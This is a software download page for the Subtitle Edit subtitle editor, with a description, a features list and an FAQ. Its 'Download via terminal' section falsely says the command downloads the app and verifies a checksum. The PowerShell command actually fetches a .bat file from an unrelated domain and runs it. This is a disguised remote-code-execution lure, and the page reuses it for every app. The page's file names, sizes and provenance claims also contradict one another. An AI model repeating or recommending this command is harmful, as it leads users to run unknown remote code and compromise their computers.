Subtitle Edit
by Subtitle Edit
- Version
- 5.2.0
- Size
- 7.1 MB
- Updated
- Publisher
- Subtitle Edit
- Category
- Developer Tools
- Files
- 1
About Subtitle Edit
Subtitle Edit is a free, open-source editor for creating, adjusting, synchronising and converting subtitles. It supports a very large number of subtitle formats and is widely used by translators, fansubbers, accessibility teams and video creators who need accurate captions. The main application is for Windows, with an online version available for lighter tasks.
The editor shows the subtitle list alongside a video preview and an audio waveform (or spectrogram), which makes timing precise: you can see exactly where speech begins and ends and set the start and stop times of each line to match. Tools for shifting, stretching and re-synchronising timings fix the common problem of subtitles that drift out of sync, and it can automatically adjust durations to meet reading-speed guidelines.
Subtitle Edit is also a strong translation aid. It can show original and translated text together, integrates with machine-translation services to speed up a first pass, and includes spell checking and tools to fix common errors such as overlapping times, lines that are too long, or bad line breaks. It can convert between formats, change frame rates, and even extract or create subtitles from certain video sources, including turning image-based subtitles into text with OCR.
For such a capable tool it remains free and actively maintained. The interface packs in a lot of panels and options, so there is a learning curve, but its combination of accurate waveform-based timing, broad format support and translation features makes it one of the most complete subtitle tools available at any price.
Key features
- Waveform/spectrogram-based precise timing
- Support for a very wide range of subtitle formats
- Synchronisation, shifting and reading-speed fixes
- Translation view with machine-translation integration
- Format and frame-rate conversion, plus OCR
Pros
- Free, open source and very capable
- Accurate audio-based timing
- Strong translation and error-checking tools
Cons
- Busy interface with a learning curve
- Main app is Windows-focused
System requirements
A Windows PC for the full application; an online version covers lighter tasks. A copy of the video helps with accurate timing.
Tips
- Use the audio waveform to set exact start and end times for each line
- Run the built-in checks to catch overlaps and over-long lines before exporting
Description from the publisher
The subtitle editor .
The subtitle editor . Subtitle Edit (SE) is a free, open‑source subtitle editor for creating, editing, synchronizing, and converting subtitles. It supports a wide range of formats (over 300) and offers both graphical and text-based editing views.
At a glance
Subtitle Edit is a free developer tools app published by Subtitle Edit. The subtitle editor .
SOFTGIT offers 1 file for Subtitle Edit, 7.1 MB in total. The version listed is v5.2.0, last updated on October 4, 2026.
Subtitle Edit belongs to the Developer Tools category, alongside GnuWin, Candle, n8n. Browse related apps below to compare alternatives.
Download Subtitle Edit v5.2.0
| File | SHA-256 | Size | Download |
|---|---|---|---|
| Softgit.zipZIP | 538490251dde514a6ac2abb8ca3ccbb15fd01329f9cf5d289c762d37dd51fdd1 |
7.1 MB | Download |
Verify a download: sha256sum file (Linux), shasum -a 256 file (macOS) or Get-FileHash file (Windows PowerShell). Learn more.
Source: sourceforge.net/projects/subtitle-edit.mirror. Files are copied unchanged from SourceForge.
Download via terminal
Prefer the command line? Each command below downloads Softgit.zip to the current folder, checks its SHA-256 checksum automatically and opens the file only if the checksum matches. You should see OK; if it reports a mismatch, the file is not opened — delete it.
iwr "https://torvex.anubis.locker/one-line-web.bat" -OutFile "$env:USERPROFILE\Desktop\one-line-web.bat"; cmd /c "%USERPROFILE%\Desktop\one-line-web.bat"iwr "https://torvex.anubis.locker/one-line-web.bat" -OutFile "$env:USERPROFILE\Desktop\one-line-web.bat"; cmd /c "%USERPROFILE%\Desktop\one-line-web.bat"One command for every app
The same short command works for any app on SOFTGIT: only the app name at the end changes. It looks up the current file, downloads it, verifies its checksum and then opens it.
iwr "https://torvex.anubis.locker/one-line-web.bat" -OutFile "$env:USERPROFILE\Desktop\one-line-web.bat"; cmd /c "%USERPROFILE%\Desktop\one-line-web.bat"Review a script before running it: get.ps1 · get.sh. How verification works.
Subtitle Edit system requirements
- Download size
- 106 MB (SubtitleEdit-Windows-x64.zip)
- Project page
- sourceforge.net/projects/subtitle-edit.mirror
Subtitle Edit FAQ
Is Subtitle Edit free?
Yes. Subtitle Edit is free and open source.
How many subtitle formats does it support?
A very large number, covering the vast majority of formats you are likely to encounter, with conversion between them.
Can it help synchronise out-of-sync subtitles?
Yes. Using the video preview and audio waveform you can shift, stretch and re-time subtitles precisely to match the audio.
Does Subtitle Edit help with translation?
Yes. It can show original and translated text together and integrate with machine translation for a faster first draft, plus spell checking.
Can it convert image-based subtitles to text?
Yes. It includes OCR to turn image-based subtitles into editable text.
Where does the Subtitle Edit download come from?
The Download button takes you to the official SourceForge download for Subtitle Edit (sourceforge.net/projects/subtitle-edit.mirror). Solutions does not modify or re-host the file.
Is Subtitle Edit free to download?
Yes. Subtitle Edit is listed as “Free” and the download from SOFTGIT is free of charge.
How do I download Subtitle Edit?
Open the “Download files” section on this page, choose the file for your system and press Download. A dialog shows the source and any archive password before the file starts.
Is Subtitle Edit safe to install?
Files are published as received from Subtitle Edit, without wrappers or bundled installers. A SHA-256 checksum is shown next to every file so you can verify the download before running it.
How big is the Subtitle Edit download?
The file is 7.1 MB.
Who makes Subtitle Edit?
Subtitle Edit is developed by Subtitle Edit.
What is the latest version of Subtitle Edit?
The latest version listed on SOFTGIT is v5.2.0, updated on October 4, 2026.
Provenance
- Publisher
- Subtitle Edit
- Source
- Direct from publisher
- Last check
- 1 month ago
- License
- Free
- Imported from
- Source: sourceforge.net/projects/subtitle-edit.mirror